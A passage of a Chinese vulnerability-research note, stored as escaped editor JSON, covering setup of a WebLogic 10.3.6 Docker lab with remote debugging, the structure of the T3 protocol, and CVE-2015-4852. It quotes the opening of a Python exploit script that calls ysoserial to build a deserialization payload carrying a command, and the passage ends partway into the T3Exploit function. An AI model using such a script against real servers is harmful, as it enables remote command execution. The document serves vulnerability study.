&#34;:&#34;p069-1673491405353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHi1-1673491372913&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hq2i-1673491372911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRTE-1673491443864&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f6Yo-1673491443862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Docker构建：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Tyv-1673491450914&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AWPP-1673491450913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PQ1J-1673491447976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3ESw-1673491451298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3qUx-1673491451297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4l4-1673491451300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Euem-1673491451299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PAGA-1673491265699&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZ6T-1673491265697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于Centos8已与2022年底停止维护，这里需要提前跟换yum源：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ioRW-1673491553354&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4909/WEBRESOURCE64df61f18e98bcb79d8b0f98f912edc4&#34;,&#34;width&#34;:605,&#34;height&#34;:355},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTa1-1673491588716&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q1JR-1673491588715&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WbdW-1673490309275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN cd /etc/yum.repos.d/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IxgD-1673491597937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iP1E-1673491597936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s/mirrorlist/#mirrorlist/g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LVOL-1673491597939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SD-1673491597938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;37YC-1673491584697&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qwok-1673491584696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置远程调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4Lc-1673491696734&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JbMC-1673491696733&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jeO-1673491679517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;kdir ./middleware&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmXZ-1673491697201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gaX8-1673491697200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xvVt-1673491697205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RiTc-1673491697204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nmaL-1673491697209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W2O8-1673491697208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddTQ-1673491627410&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x5qG-1673491627409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5M1C-1673491870518&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4922/WEBRESOURCEa5f120f434b304501a2efab26d14445a&#34;,&#34;width&#34;:1326,&#34;height&#34;:476},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkdV-1673491584862&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rFG9-1673491584861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时将/wlserver/server/lib目录作为lib导入：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DC8N-1673492159524&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4925/WEBRESOURCE609c5e20ad563040081ddacd597589e5&#34;,&#34;width&#34;:305,&#34;height&#34;:493},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t0ZA-1673491585004&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jhS-1673491585003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置remote调试端口即可：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rNCt-1673492232548&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4930/WEBRESOURCEbbd544eff03ee1fb001e1a5a7ce37939&#34;,&#34;width&#34;:572,&#34;height&#34;:392},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9vO-1673491585167&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QRf5-1673491585166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;启动调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JyD4-1673493026569&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4935/WEBRESOURCEd47bdc412d359d420c99b49fc71e14bc&#34;,&#34;width&#34;:2808,&#34;height&#34;:1516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwoa-1673493052602&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4937/WEBRESOURCEda7147dbf613e3fd4381c0e4425f5c19&#34;,&#34;width&#34;:695,&#34;height&#34;:191},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OhB4-1673505623997&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZtnD-1673505623998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2NFu-1673493063764&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZDKD-1673493063762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;T3协议：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToWZ-1673493290157&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a5QT-1673493290156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic RMI是Weblogic对于Java RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c4Ts-1673505380809&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fhpd-1673505380807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DR8A-1673505381525&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4963/WEBRESOURCEe44aaacd6cc4d45e000151c0d2beac0f&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9eGc-1673493702659&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4952/WEBRESOURCEac5e2b49c529dd47e3d31d31627e229c&#34;,&#34;width&#34;:560,&#34;height&#34;:204},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ORod-1673493024074&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhUQ-1673493024075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;更多内容参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tmgK-1673493762548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecUD-1673493762547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;WqpW-1673493762925&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tjjy-1673493762926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knIi-1673493762938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bBNc-1673493748254&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6cJn-1673493748252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l79f-1673493773767&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IAlj-1673493773766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2015-4852&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r5M5-1673851457133&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pZY7-1673851457134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJI3-1673851463438&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u6bg-1673851463437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RzLZ-1673851502693&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jzUQ-1673851502692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d2HC-1673851496206&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;suVy-1673851496205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vkSr-1673851496208&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PMGB-1673851496207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IKHp-1673851446141&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrmo-1673851446139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kTy2-1673493798953&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0KZo-1673493798954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;找了一份&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;05Iv-1673503802099&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/u/38490&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QALS-1673503802101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sp4z&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjr0-1673503802116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;师傅的脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nDt2-1673503811887&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KSCC-1673503811886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jjmu-1673503809293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from os import popen&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PeVu-1673503823677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KJVv-1673503823676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct # 负责大小端的转换&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mh9o-1673503823679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Wz7-1673503823678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y06G-1673503823681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8jlr-1673503823680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from sys import stdout&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DtyQ-1673503823683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K5nP-1673503823682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;24qh-1673503823685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qk0X-1673503823684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import re&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kHOY-1673503823687&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FVh-1673503823686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;85R4-1673503823689&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fp9o-1673503823688&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UKR-1673503823691&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dZ67-1673503823690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def generatePayload(gadget,cmd):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ylG4-1673503823693&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M2C4-1673503823692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    YSO_PATH = \&#34;/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQYo-1673503823695&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cTS2-1673503823694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    popen = subprocess.Popen([&#39;java&#39;,&#39;-jar&#39;,YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F4Pd-1673503823697&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pe42-1673503823696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return popen.stdout.read()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cb2g-1673503823699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkvM-1673503823698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7pe-1673503823701&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTCr-1673503823700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def T3Exploit(ip,port,payload):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4MiV-1673503823703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9S2-1673503823702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock 